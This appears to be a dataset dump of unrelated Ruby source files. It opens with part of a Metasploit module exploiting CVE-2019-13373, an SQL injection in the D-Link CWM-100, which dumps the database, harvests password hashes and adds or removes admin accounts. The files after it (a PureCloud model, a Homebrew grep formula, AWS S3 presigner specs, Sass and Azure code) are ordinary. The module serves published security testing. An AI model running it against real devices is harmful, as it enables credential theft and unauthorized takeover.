'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
],
'References' =>
[
['CVE', '2019-13373'],
['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/']
],
'Actions' =>
[
[ 'SQLI_DUMP', { 'Description' => 'Retrieve all the data from the database' } ],
[ 'ADD_ADMIN', { 'Description' => 'Add an administrator user' } ],
[ 'REMOVE_ADMIN', { 'Description' => 'Remove an administrator user' } ]
],
'DefaultOptions' => { 'SSL' => true },
'DefaultAction' => 'SQLI_DUMP',
'DisclosureDate' => '2019-07-06'
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to DLink CWM-100', '/']),
OptString.new('USERNAME', [false, 'The username of the user to add/remove']),
OptString.new('PASSWORD', [false, 'The password of the user to add/edit'])
]
)
end
def vulnerable_request(payload)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'Public', 'Conn.php'),
'vars_post' => {
'dbAction' => 'S',
'dbSQL' => payload
}
)
end
def check
check_error = nil
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
if res
check_error = Exploit::CheckCode::Safe
else
check_error = Exploit::CheckCode::Unknown('Failed to send HTTP request')
end
'' # because a String is expected, this will make test_vulnerable to return false, but we will just get check_error
end
end
vulnerable_test = sqli.test_vulnerable
check_error || (vulnerable_test ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe)
end
def dump_data(sqli)
print_good "DBMS version: #{sqli.version}"
table_names = sqli.enum_table_names
print_status 'Enumerating tables'
table_names.each do |table_name|
cols = sqli.enum_table_columns(table_name)
vprint_good "#{table_name}(#{cols.join(',')})"
# retrieve the data from the table
content = sqli.dump_table_fields(table_name, cols)
# store hashes as credentials
if table_name == 'usertable'
user_ind = cols.index('username')
pass_ind = cols.index('userpassword')
content.each do |entry|
create_credential(
{
module_fullname: fullname,
workspace_id: myworkspace_id,
username: entry[user_ind],
private_data: entry[pass_ind],
jtr_format: 'raw-md5',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
)
print_good "Saved credentials for #{entry[user_ind]}"
end
end
path = store_loot(
'dlink.http',
'application/csv',
rhost,
cols.to_csv + content.map(&:to_csv).join,
"#{table_name}.csv"
)
print_good "#{table_name} saved to #{path}"
end
end
def check_admin_username
if datastore['USERNAME'].nil?
fail_with Failure::BadConfig, 'You must specify a username when adding a user'
elsif ['\\', '\''].any? { |c| datastore['USERNAME'].include?(c) }
fail_with Failure::BadConfig, 'Admin username cannot contain single quotes or backslashes'
end
end
def add_user(sqli)
check_admin_username
admin_hash = Digest::MD5.hexdigest(datastore['PASSWORD'] || '')
user_exists_sql = "select count(1) from usertable where username='#{datastore['USERNAME']}'"
# check if user exists, if yes, just change his password
if sqli.run_sql(user_exists_sql).to_i == 0
print_status 'User not found on the target, inserting'
sqli.run_sql('insert into usertable(username,userpassword,level) values(' \
"'#{datastore['USERNAME']}', '#{admin_hash}', 1)")
else
print_status 'User already exists, updating the password'
sqli.run_sql("update usertable set userpassword='#{admin_hash}' where " \
"username='#{datastore['USERNAME']}'")
end
end
def remove_user(sqli)
check_admin_username
sqli.run_sql("delete from usertable where username='#{datastore['USERNAME']}'")
end
def run
unless check == Exploit::CheckCode::Vulnerable
print_error 'Target does not seem to be vulnerable'
return
end
print_good 'Target seems vulnerable'
sqli = create_sqli(dbms: PostgreSQLi::Common, opts: { encoder: :base64 }) do |payload|
res = vulnerable_request(payload)
if res && res.code == 200
res.body[%r{<column>(.+)</column>}m, 1] || ''
else
fail_with Failure::Unreachable, 'Failed to send HTTP request' unless res
fail_with Failure::NotVulnerable, "Got #{res.code} response code" unless res.code == 200
end
end
case action.name
when 'SQLI_DUMP'
dump_data(sqli)
when 'ADD_ADMIN'
add_user(sqli)
when 'REMOVE_ADMIN'
remove_user(sqli)
else
fail_with(Failure::BadConfig, "#{action.name} not defined")
end
end
end
| 34.848649 | 123 | 0.61579 |
ac041dad2ab80fbca7632ed6c93cb850b13547f5 | 11,374 | =begin
PureCloud Platform API
With the PureCloud Platform API, you can control all aspects of your PureCloud environment. With the APIs you can access the system configuration, manage conversations and more.
OpenAPI spec version: v2
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
License: UNLICENSED
https://help.mypurecloud.com/articles/terms-and-conditions/
Terms of Service: https://help.mypurecloud.com/articles/terms-and-conditions/
=end
require 'date'
module PureCloud
class FlowVersion
# The flow version identifier
attr_accessor :id
attr_accessor :name
attr_accessor :commit_version
attr_accessor :configuration_version
attr_accessor :type
attr_accessor :secure
attr_accessor :debug
attr_accessor :created_by
attr_accessor :created_by_client
attr_accessor :configuration_uri
attr_accessor :date_created
attr_accessor :generation_id
attr_accessor :publish_result_uri
attr_accessor :input_schema
attr_accessor :output_schema
# The URI for this object
attr_accessor :self_uri
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'id' => :'id',
:'name' => :'name',
:'commit_version' => :'commitVersion',
:'configuration_version' => :'configurationVersion',
:'type' => :'type',
:'secure' => :'secure',
:'debug' => :'debug',
:'created_by' => :'createdBy',
:'created_by_client' => :'createdByClient',
:'configuration_uri' => :'configurationUri',
:'date_created' => :'dateCreated',
:'generation_id' => :'generationId',
:'publish_result_uri' => :'publishResultUri',
:'input_schema' => :'inputSchema',
:'output_schema' => :'outputSchema',
:'self_uri' => :'selfUri'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'id' => :'String',
:'name' => :'String',
:'commit_version' => :'String',
:'configuration_version' => :'String',
:'type' => :'String',
:'secure' => :'BOOLEAN',
:'debug' => :'BOOLEAN',
:'created_by' => :'User',
:'created_by_client' => :'DomainEntityRef',
:'configuration_uri' => :'String',
:'date_created' => :'Integer',
:'generation_id' => :'String',
:'publish_result_uri' => :'String',
:'input_schema' => :'JsonSchemaDocument',
:'output_schema' => :'JsonSchemaDocument',
:'self_uri' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v}
if attributes.has_key?(:'id')
self.id = attributes[:'id']
end
if attributes.has_key?(:'name')
self.name = attributes[:'name']
end
if attributes.has_key?(:'commitVersion')
self.commit_version = attributes[:'commitVersion']
end
if attributes.has_key?(:'configurationVersion')
self.configuration_version = attributes[:'configurationVersion']
end
if attributes.has_key?(:'type')
self.type = attributes[:'type']
end
if attributes.has_key?(:'secure')
self.secure = attributes[:'secure']
end
if attributes.has_key?(:'debug')
self.debug = attributes[:'debug']
end
if attributes.has_key?(:'createdBy')
self.created_by = attributes[:'createdBy']
end
if attributes.has_key?(:'createdByClient')
self.created_by_client = attributes[:'createdByClient']
end
if attributes.has_key?(:'configurationUri')
self.configuration_uri = attributes[:'configurationUri']
end
if attributes.has_key?(:'dateCreated')
self.date_created = attributes[:'dateCreated']
end
if attributes.has_key?(:'generationId')
self.generation_id = attributes[:'generationId']
end
if attributes.has_key?(:'publishResultUri')
self.publish_result_uri = attributes[:'publishResultUri']
end
if attributes.has_key?(:'inputSchema')
self.input_schema = attributes[:'inputSchema']
end
if attributes.has_key?(:'outputSchema')
self.output_schema = attributes[:'outputSchema']
end
if attributes.has_key?(:'selfUri')
self.self_uri = attributes[:'selfUri']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properies with the reasons
def list_invalid_properties
invalid_properties = Array.new
return invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
allowed_values = ["PUBLISH", "CHECKIN", "SAVE"]
if @type && !allowed_values.include?(@type)
return false
end
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] type Object to be assigned
def type=(type)
allowed_values = ["PUBLISH", "CHECKIN", "SAVE"]
if type && !allowed_values.include?(type)
fail ArgumentError, "invalid value for 'type', must be one of #{allowed_values}."
end
@type = type
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
id == o.id &&
name == o.name &&
commit_version == o.commit_version &&
configuration_version == o.configuration_version &&
type == o.type &&
secure == o.secure &&
debug == o.debug &&
created_by == o.created_by &&
created_by_client == o.created_by_client &&
configuration_uri == o.configuration_uri &&
date_created == o.date_created &&
generation_id == o.generation_id &&
publish_result_uri == o.publish_result_uri &&
input_schema == o.input_schema &&
output_schema == o.output_schema &&
self_uri == o.self_uri
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[id, name, commit_version, configuration_version, type, secure, debug, created_by, created_by_client, configuration_uri, date_created, generation_id, publish_result_uri, input_schema, output_schema, self_uri].hash
end
# build the object from hash
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
else
#TODO show warning in debug mode
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
else
# data not found in attributes(hash), not an issue as the data can be optional
end
end
self
end
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /^(true|t|yes|y|1)$/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
_model = Object.const_get("PureCloud").const_get(type).new
_model.build_from_hash(value)
end
end
def to_s
to_hash.to_s
end
# to_body is an alias to to_body (backward compatibility))
def to_body
to_hash
end
# return the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Method to output non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 19.180438 | 219 | 0.512045 |
037460612b5df7f7e479bc391c5ea834eb3a34af | 13 | require 'aws' | 13 | 13 | 0.769231 |
f8d30f52672ffd151dba5651c1a0683c41500eab | 375 | class CreateLecturers < ActiveRecord::Migration[5.2]
def change
create_table :lecturers do |t|
t.references :subject, foreign_key: true, null: false
t.string :name, null: false, index: true
t.string :note
t.string :roles, array: true, null: false, default: []
t.timestamps
end
add_index :lecturers, :roles, using: 'gin'
end
end
| 26.785714 | 60 | 0.656 |
61a1ec15a38c0f4a92292b1622bf745dbf021a4a | 2,291 | class Grep < Formula
desc "GNU grep, egrep and fgrep"
homepage "https://www.gnu.org/software/grep/"
url "https://ftp.gnu.org/gnu/grep/grep-3.6.tar.xz"
mirror "https://ftpmirror.gnu.org/grep/grep-3.6.tar.xz"
sha256 "667e15e8afe189e93f9f21a7cd3a7b3f776202f417330b248c2ad4f997d9373e"
license "GPL-3.0-or-later"
livecheck do
url :stable
end
bottle do
cellar :any
sha256 "6ee2dac30a5250d7d218b6520392b4cb8e7a806149f900e11637e556e6a9237a" => :big_sur
sha256 "78c2b965ced34a99ac47d3058a3971b9696a6157215c82edd16562d6ec6fc689" => :catalina
sha256 "80a62eaefb57437bcb3aeb1d8489b9bf062ec77184624249da27afc578be1315" => :mojave
sha256 "ae3cfbe66d6391edd32153f9b02e3da1286482dd196a18da017903a0bd4e7cf7" => :high_sierra
sha256 "a9e17c79dcf580bad66ba5201719a2c2638953c70751690e34e413b123bb969b" => :x86_64_linux
end
depends_on "pkg-config" => :build
depends_on "pcre"
def install
args = %W[
--disable-dependency-tracking
--disable-nls
--prefix=#{prefix}
--infodir=#{info}
--mandir=#{man}
--with-packager=Homebrew
]
args << "--program-prefix=g" if OS.mac?
system "./configure", *args
system "make"
system "make", "install"
%w[grep egrep fgrep].each do |prog|
(libexec/"gnubin").install_symlink bin/"g#{prog}" => prog
(libexec/"gnuman/man1").install_symlink man1/"g#{prog}.1" => "#{prog}.1"
end
libexec.install_symlink "gnuman" => "man"
end
def caveats
return unless OS.mac?
<<~EOS
All commands have been installed with the prefix "g".
If you need to use these commands with their normal names, you
can add a "gnubin" directory to your PATH from your bashrc like:
PATH="#{opt_libexec}/gnubin:$PATH"
EOS
end
test do
text_file = testpath/"file.txt"
text_file.write "This line should be matched"
if OS.mac?
grepped = shell_output("#{bin}/ggrep match #{text_file}")
assert_match "should be matched", grepped
grepped = shell_output("#{opt_libexec}/gnubin/grep match #{text_file}")
assert_match "should be matched", grepped
end
unless OS.mac?
grepped = shell_output("#{bin}/grep match #{text_file}")
assert_match "should be matched", grepped
end
end
end
| 29.753247 | 94 | 0.6866 |
e2fb918d54468716d62fb515cfaed553caaefaa8 | 12,941 | # frozen_string_literal: true
require_relative 'spec_helper'
module Aws
module S3
describe Presigner do
let(:client) do
Aws::S3::Client.new(
region: 'us-east-1',
credentials: Credentials.new(
'ACCESS_KEY_ID',
'SECRET_ACCESS_KEY'
),
stub_responses: true
)
end
subject { Presigner.new(client: client) }
before { allow(Time).to receive(:now).and_return(Time.utc(2021, 8, 27)) }
describe '#initialize' do
it 'accepts an injected S3 client' do
pre = Presigner.new(client: client)
expect(pre.class).to eq(Aws::S3::Presigner)
end
it 'can be constructed without a client' do
expect(Aws::S3::Client).to receive(:new).and_return(client)
pre = Presigner.new
expect(pre.class).to eq(Aws::S3::Presigner)
end
end
describe '#presigned_url' do
it 'will be tracked as an api request' do
subject.presigned_url(:get_object, bucket: 'bkt', key: 'k')
expect(client.api_requests.size).to eq(1)
end
it 'labels context as a presigned request before handlers are invoked' do
expect do |block|
client.handle_request(&block)
subject.presigned_url(:get_object, bucket: 'bkt', key: 'k')
end.to yield_with_args { |c| c[:presigned_url] == true }
end
it 'can be excluded from being tracked as an api request' do
subject.presigned_url(:get_object, bucket: 'bkt', key: 'k')
expect(client.api_requests(exclude_presign: true)).to be_empty
end
it 'can presign #get_object to spec' do
expected_url = 'https://examplebucket.s3.amazonaws.com/test.txt?'\
'X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential='\
'ACCESS_KEY_ID%2F20210827%2Fus-east-1%2Fs3%2F'\
'aws4_request&X-Amz-Date=20210827T000000Z'\
'&X-Amz-Expires=86400&X-Amz-SignedHeaders=host'\
'&X-Amz-Signature=cd4953fc4c1ebb97c3ca18ce433b4bc9ff9'\
'f9f6a54eb47c31d908e0e7ecf524c'
actual_url = subject.presigned_url(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 86_400
)
expect(actual_url).to eq(expected_url)
end
it 'can sign with a given time' do
actual_url = subject.presigned_url(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 86_400,
time: Time.utc(1969, 4, 20)
)
expect(actual_url).to include('&X-Amz-Date=19690420T000000Z')
end
it 'can sign with additional whitelisted headers' do
actual_url = subject.presigned_url(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 86_400,
whitelist_headers: ['user-agent']
)
expect(actual_url).to include(
'&X-Amz-SignedHeaders=host%3Buser-agent'
)
end
it 'raises when expires_in length is over 1 week' do
expect do
subject.presigned_url(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: (7 * 86_400) + 1
)
end.to raise_error(ArgumentError)
end
it 'raises when expires_in is less than or equal to 0' do
expect do
subject.presigned_url(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 0
)
end.to raise_error(ArgumentError)
end
it 'can generate http (non-secure) urls' do
url = subject.presigned_url(
:get_object,
bucket: 'aws-sdk',
key: 'foo',
secure: false
)
expect(url).to match(/^http:/)
end
it 'uses the configured :endpoint scheme' do
client.config.endpoint = URI('http://example.com')
url = subject.presigned_url(
:get_object,
bucket: 'aws-sdk',
key: 'foo'
)
expect(url).to match(/^http:/)
end
it 'supports virtual hosting' do
url = subject.presigned_url(
:get_object,
bucket: 'my.website.com',
key: 'foo',
virtual_host: true
)
expect(url).to match(/^https:\/\/my.website.com\/foo/)
end
it 'hoists x-amz-* headers to the query string' do
url = subject.presigned_url(
:put_object,
bucket: 'aws-sdk',
key: 'foo',
acl: 'public-read'
)
expect(url).to match(/x-amz-acl=public-read/)
end
end
describe '#presigned_request' do
it 'will be tracked as an api request' do
subject.presigned_request(:get_object, bucket: 'bkt', key: 'k')
expect(client.api_requests.size).to eq(1)
end
it 'labels context as a presigned request before handlers are invoked' do
expect do |block|
client.handle_request(&block)
subject.presigned_request(:get_object, bucket: 'bkt', key: 'k')
end.to yield_with_args { |c| c[:presigned_url] == true }
end
it 'can be excluded from being tracked as an api request' do
subject.presigned_request(:get_object, bucket: 'bkt', key: 'k')
expect(client.api_requests(exclude_presign: true)).to be_empty
end
it 'can presign #get_object to spec' do
expected_url = 'https://examplebucket.s3.amazonaws.com/test.txt?'\
'X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential='\
'ACCESS_KEY_ID%2F20210827%2Fus-east-1%2Fs3%2F'\
'aws4_request&X-Amz-Date=20210827T000000Z'\
'&X-Amz-Expires=86400&X-Amz-SignedHeaders=host'\
'&X-Amz-Signature=cd4953fc4c1ebb97c3ca18ce433b4bc9ff9'\
'f9f6a54eb47c31d908e0e7ecf524c'
actual_url, = subject.presigned_request(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 86_400
)
expect(actual_url).to eq(expected_url)
end
it 'can sign with a given time' do
actual_url, = subject.presigned_request(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 86_400,
time: Time.utc(1969, 4, 20)
)
expect(actual_url).to include('&X-Amz-Date=19690420T000000Z')
end
it 'can sign with additional whitelisted headers' do
actual_url, = subject.presigned_request(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 86_400,
whitelist_headers: ['user-agent']
)
expect(actual_url).to include(
'&X-Amz-SignedHeaders=host%3Buser-agent'
)
end
it 'raises when expires_in length is over 1 week' do
expect do
subject.presigned_request(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: (7 * 86_400) + 1
)
end.to raise_error(ArgumentError)
end
it 'raises when expires_in is less than or equal to 0' do
expect do
subject.presigned_request(
:get_object,
bucket: 'examplebucket',
key: 'test.txt',
expires_in: 0
)
end.to raise_error(ArgumentError)
end
it 'can generate http (non-secure) urls' do
url, = subject.presigned_request(
:get_object,
bucket: 'aws-sdk',
key: 'foo',
secure: false
)
expect(url).to match(/^http:/)
end
it 'uses the configured :endpoint scheme' do
client.config.endpoint = URI('http://example.com')
url, = subject.presigned_request(
:get_object,
bucket: 'aws-sdk',
key: 'foo'
)
expect(url).to match(/^http:/)
end
it 'supports virtual hosting' do
url, = subject.presigned_request(
:get_object,
bucket: 'my.website.com',
key: 'foo',
virtual_host: true
)
expect(url).to match(/^https:\/\/my.website.com\/foo/)
end
it 'returns x-amz-* headers instead of hoisting to the query string' do
signer = Presigner.new(client: client)
url, headers = signer.presigned_request(
:put_object, bucket: 'aws-sdk', key: 'foo', acl: 'public-read'
)
expect(url).to match(/X-Amz-SignedHeaders=host%3Bx-amz-acl/)
expect(headers).to eq('x-amz-acl' => 'public-read')
end
end
context 'outpost access point ARNs' do
it 'uses s3-outposts as the service' do
arn = 'arn:aws:s3-outposts:us-west-2:123456789012:outpost:op-01234567890123456:accesspoint:myaccesspoint'
url = subject.presigned_url(:get_object, bucket: arn, key: 'obj')
expected_service = 's3-outposts'
expect(url).to include(
"20210827%2Fus-west-2%2F#{expected_service}%2Faws4_request"
)
expect(url).to include(
'a944fbe2bfbae429f922746546d1c6f890649c88ba7826bd1d258ac13f327e09'
)
end
it 'uses the resolved-region' do
arn_region = 'us-east-1'
arn = "arn:aws:s3-outposts:#{arn_region}:123456789012:outpost:op-01234567890123456:accesspoint:myaccesspoint"
url = subject.presigned_url(:get_object, bucket: arn, key: 'obj')
expect(url).to include(
"20210827%2F#{arn_region}%2Fs3-outposts%2Faws4_request"
)
expect(url).to include(
'7f93df0b81f80e590d95442d579bd6cf749a35ff4bbdc6373fa669b89c7fce4e'
)
end
end
context 'access point ARN' do
it 'uses s3 as the service' do
arn = 'arn:aws:s3:us-west-2:123456789012:accesspoint/myendpoint'
url = subject.presigned_url(:get_object, bucket: arn, key: 'obj')
expected_service = 's3'
expect(url).to include(
"20210827%2Fus-west-2%2F#{expected_service}%2Faws4_request"
)
expect(url).to include(
'd6b2a8840209fa40456c97ae99f9fab2526316d70f3ebaa75c22d654b90e9da9'
)
end
it 'uses the resolved-region' do
arn_region = 'us-east-1'
arn = "arn:aws:s3:#{arn_region}:123456789012:accesspoint/myendpoint"
url = subject.presigned_url(:get_object, bucket: arn, key: 'obj')
expect(url).to include(
"20210827%2F#{arn_region}%2Fs3%2Faws4_request"
)
expect(url).to include(
'5a27899693cea5f6ccf9dc26a3e44c4a3d45ae57a441954fb4b7cdc8c2ef45ea'
)
end
end
context 'MRAP ARNs' do
let(:signer) { double('sigv4a_signer') }
let(:arn) { 'arn:aws:s3::123456789012:accesspoint:mfzwi23gnjvgw.mrap' }
it 'creates a presigned url with sigv4a' do
# Signer is created twice, return a normal one first
expect(Aws::Sigv4::Signer).to receive(:new).and_call_original
expect(Aws::Sigv4::Signer)
.to receive(:new)
.with(hash_including(
service: 's3',
region: '*',
signing_algorithm: :sigv4a
))
.and_return(signer)
expect(signer)
.to receive(:presign_url)
.with(hash_including(
url: URI.parse('https://mfzwi23gnjvgw.mrap.accesspoint.s3-global.amazonaws.com/obj')
))
subject.presigned_url(:get_object, bucket: arn, key: 'obj')
end
context 's3_disable_multiregion_access_points is true' do
let(:client) do
Aws::S3::Client.new(
stub_responses: true,
s3_disable_multiregion_access_points: true
)
end
it 'raises an ArgumentError' do
arn = 'arn:aws:s3::123456789012:accesspoint:mfzwi23gnjvgw.mrap'
expect do
subject.presigned_url(:get_object, bucket: arn, key: 'obj')
end.to raise_error(ArgumentError)
end
end
end
end
end
end
| 34.32626 | 119 | 0.546557 |
61ff2eead89800bba947fd493581fa37a7426f22 | 342 | # frozen_string_literal: true
module Bi
class YearReportHistory < BiLocalTimeRecord
self.table_name = 'YEAR_REPORT_HISTORY'
def self.year_options
Bi::YearReportHistory.order(year: :desc).pluck(:year).uniq
end
def self.month_names
Bi::YearReportHistory.order(month: :desc).pluck(:month).uniq
end
end
end
| 21.375 | 66 | 0.719298 |
eddf31fe31434c72f233e76a045eb5b3d64d1740 | 3,914 | # frozen_string_literal: true
# == Schema Information
#
# Table name: work_records
#
# id :bigint not null, primary key
# aasm_state :string default("published"), not null
# body :text not null
# deleted_at :datetime
# impressions_count :integer default(0), not null
# likes_count :integer default(0), not null
# locale :string default("other"), not null
# modified_at :datetime
# rating_animation_state :string
# rating_character_state :string
# rating_music_state :string
# rating_overall_state :string
# rating_story_state :string
# title :string default("")
# created_at :datetime not null
# updated_at :datetime not null
# oauth_application_id :bigint
# record_id :bigint not null
# user_id :bigint not null
# work_id :bigint not null
#
# Indexes
#
# index_work_records_on_deleted_at (deleted_at)
# index_work_records_on_locale (locale)
# index_work_records_on_oauth_application_id (oauth_application_id)
# index_work_records_on_record_id (record_id) UNIQUE
# index_work_records_on_user_id (user_id)
# index_work_records_on_work_id (work_id)
#
# Foreign Keys
#
# fk_rails_... (oauth_application_id => oauth_applications.id)
# fk_rails_... (record_id => records.id)
# fk_rails_... (user_id => users.id)
# fk_rails_... (work_id => works.id)
#
class WorkRecord < ApplicationRecord
extend Enumerize
include Localizable
include Shareable
include SoftDeletable
STATES = %i(
rating_overall_state
rating_animation_state
rating_music_state
rating_story_state
rating_character_state
).freeze
STATES.each do |state|
enumerize state, in: Record::RATING_STATES
end
counter_culture :work
counter_culture :work, column_name: -> (work_record) { work_record.body.present? ? :work_records_with_body_count : nil }
attr_accessor :share_to_twitter, :mutation_error
belongs_to :oauth_application, class_name: "Doorkeeper::Application", optional: true
belongs_to :record
belongs_to :user
belongs_to :work
has_many :activities,
dependent: :destroy,
as: :trackable
has_many :likes,
dependent: :destroy,
as: :recipient
validates :body, length: { maximum: 1_048_596 }
scope :with_body, -> { where.not(body: ["", nil]) }
scope :with_no_body, -> { where(body: ["", nil]) }
before_save :append_title_to_body
def share_url
"#{user.preferred_annict_url}/@#{user.username}/records/#{record.id}"
end
def facebook_share_title
work.local_title
end
def twitter_share_body
work_title = work.local_title
title = self.body.present? ? work_title.truncate(30) : work_title
comment = self.body.present? ? "#{self.body} / " : ""
share_url = share_url_with_query(:twitter)
share_hashtag = work.hashtag_with_hash
base_body = if user.locale == "ja"
"%s#{title} を見ました #{share_url} #{share_hashtag}"
else
"%sWatched: #{title} #{share_url} #{share_hashtag}"
end
body = base_body % comment
body_without_url = body.sub(share_url, "")
return body if body_without_url.length <= 130
comment = comment.truncate(comment.length - (body_without_url.length - 130)) + " / "
base_body % comment
end
def facebook_share_body
return self.body if self.body.present?
if user.locale == "ja"
"見ました。"
else
"Watched."
end
end
def needs_single_activity_group?
body.present?
end
private
# For backward compatible on API
def append_title_to_body
self.body = "#{title}\n\n#{body}" if title.present?
self.title = ""
end
end
| 28.569343 | 122 | 0.643076 |
79fca3334cd175adfd9970056c2d02dee2e3c191 | 680 | #!/usr/bin/env ruby
require File.dirname(__FILE__) + "/../../config/environment"
Signal.trap("TERM") { exit }
if Job.included_modules.include?(Job::BonusFeatures)
RAILS_DEFAULT_LOGGER.info("BackgroundFu: Starting daemon (bonus features enabled).")
else
RAILS_DEFAULT_LOGGER.info("BackgroundFu: Starting daemon (bonus features disabled).")
end
loop do
if job = Job.find(:first, :conditions => ["state='pending' and start_at <= ?", Time.now], :order => "priority desc, start_at asc")
job.get_done!
else
RAILS_DEFAULT_LOGGER.info("BackgroundFu: Waiting for jobs...")
sleep 5
end
Job.destroy_all(["state='finished' and updated_at < ?", 1.week.ago])
end
| 29.565217 | 132 | 0.708824 |
2184606fba5d196934ef547a9110081fbd733f2b | 1,422 | require 'sass/tree/node'
module Sass::Tree
# A static node representing an `@extend` directive.
#
# @see Sass::Tree
class ExtendNode < Node
# The parsed selector after interpolation has been resolved.
# Only set once {Tree::Visitors::Perform} has been run.
#
# @return [Selector::CommaSequence]
attr_accessor :resolved_selector
# The CSS selector to extend, interspersed with {Sass::Script::Tree::Node}s
# representing `#{}`-interpolation.
#
# @return [Array<String, Sass::Script::Tree::Node>]
attr_accessor :selector
# The extended selector source range.
#
# @return [Sass::Source::Range]
attr_accessor :selector_source_range
# Whether the `@extend` is allowed to match no selectors or not.
#
# @return [Boolean]
def optional?; @optional; end
# @param selector [Array<String, Sass::Script::Tree::Node>]
# The CSS selector to extend,
# interspersed with {Sass::Script::Tree::Node}s
# representing `#{}`-interpolation.
# @param optional [Boolean] See \{ExtendNode#optional?}
# @param selector_source_range [Sass::Source::Range] The extended selector source range.
def initialize(selector, optional, selector_source_range)
@selector = selector
@optional = optional
@selector_source_range = selector_source_range
super()
end
end
end
| 32.318182 | 93 | 0.654008 |
28b48ee8c35d6bc569a1a52bc23b74d4737b81ec | 29,091 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2020_05_01
#
# RouteFilterRules
#
class RouteFilterRules
include MsRestAzure
#
# Creates and initializes a new instance of the RouteFilterRules class.
# @param client service class for accessing basic functionality.
#
def initialize(client)
@client = client
end
# @return [NetworkManagementClient] reference to the NetworkManagementClient
attr_reader :client
#
# Deletes the specified rule from a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
def delete(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
response = delete_async(resource_group_name, route_filter_name, rule_name, custom_headers:custom_headers).value!
nil
end
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [Concurrent::Promise] promise which provides async access to http
# response.
#
def delete_async(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
# Send request
promise = begin_delete_async(resource_group_name, route_filter_name, rule_name, custom_headers:custom_headers)
promise = promise.then do |response|
# Defining deserialization method.
deserialize_method = lambda do |parsed_response|
end
# Waiting for response.
@client.get_long_running_operation_result(response, deserialize_method)
end
promise
end
#
# Gets the specified rule from a route filter.
#
# @param resource_group_name [String] The name of the resource group.
# @param route_filter_name [String] The name of the route filter.
# @param rule_name [String] The name of the rule.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RouteFilterRule] operation results.
#
def get(resource_group_name, route_filter_name, rule_name, custom_headers:nil)
response = get_async(resource_group_name, route_filter_name, rule_name, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Gets the specified rule from a route filter.
#
